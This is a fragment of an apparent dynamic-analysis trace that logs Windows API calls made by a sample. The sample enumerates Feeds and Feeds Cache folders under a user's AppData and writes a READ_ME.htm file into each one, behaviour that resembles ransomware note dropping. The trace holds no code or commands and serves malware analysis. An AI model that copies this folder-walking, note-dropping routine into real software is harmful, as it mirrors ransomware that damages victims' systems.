lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", lpFilePart=0x0) returned 0x6f [0144.121] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", lpszLongPath=0x21c960, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0144.122] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21c940, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x63 [0144.124] SetErrorMode (uMode=0x1) returned 0x0 [0144.124] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.124] SetErrorMode (uMode=0x0) returned 0x1 [0144.124] GetFileType (hFile=0x1d0) returned 0x1 [0144.125] WriteFile (in: hFile=0x1d0, lpBuffer=0x2901c00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2901c00*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0144.126] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cc30, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0144.127] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", lpszLongPath=0x21ca20, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0144.127] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21ca00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x58 [0144.129] SetErrorMode (uMode=0x1) returned 0x0 [0144.129] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.132] SetErrorMode (uMode=0x0) returned 0x1 [0144.132] GetFileType (hFile=0x1d0) returned 0x1 [0144.132] WriteFile (in: hFile=0x1d0, lpBuffer=0x2906348*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2906348*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.133] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0144.134] SetErrorMode (uMode=0x1) returned 0x0 [0144.134] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.134] SetErrorMode (uMode=0x0) returned 0x1 [0144.134] GetFileType (hFile=0x1d0) returned 0x1 [0144.134] WriteFile (in: hFile=0x1d0, lpBuffer=0x290a908*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x290a908*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x36 [0144.136] SetErrorMode (uMode=0x1) returned 0x0 [0144.136] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0144.137] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.137] SetErrorMode (uMode=0x0) returned 0x1 [0144.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x36 [0144.138] SetErrorMode (uMode=0x1) returned 0x0 [0144.138] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0144.138] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0144.139] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0144.139] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.139] SetErrorMode (uMode=0x0) returned 0x1 [0144.139] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3f [0144.139] SetErrorMode (uMode=0x1) returned 0x0 [0144.139] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.140] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.140] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.140] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.140] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.140] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.140] SetErrorMode (uMode=0x0) returned 0x1 [0144.140] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3f [0144.140] SetErrorMode (uMode=0x1) returned 0x0 [0144.141] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.141] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.141] SetErrorMode (uMode=0x0) returned 0x1 [0144.141] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0144.141] SetErrorMode (uMode=0x1) returned 0x0 [0144.142] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.142] SetErrorMode (uMode=0x0) returned 0x1 [0144.142] GetFileType (hFile=0x1d0) returned 0x1 [0144.142] WriteFile (in: hFile=0x1d0, lpBuffer=0x2913508*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2913508*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.144] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3f [0144.144] SetErrorMode (uMode=0x1) returned 0x0 [0144.144] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.144] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.144] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, 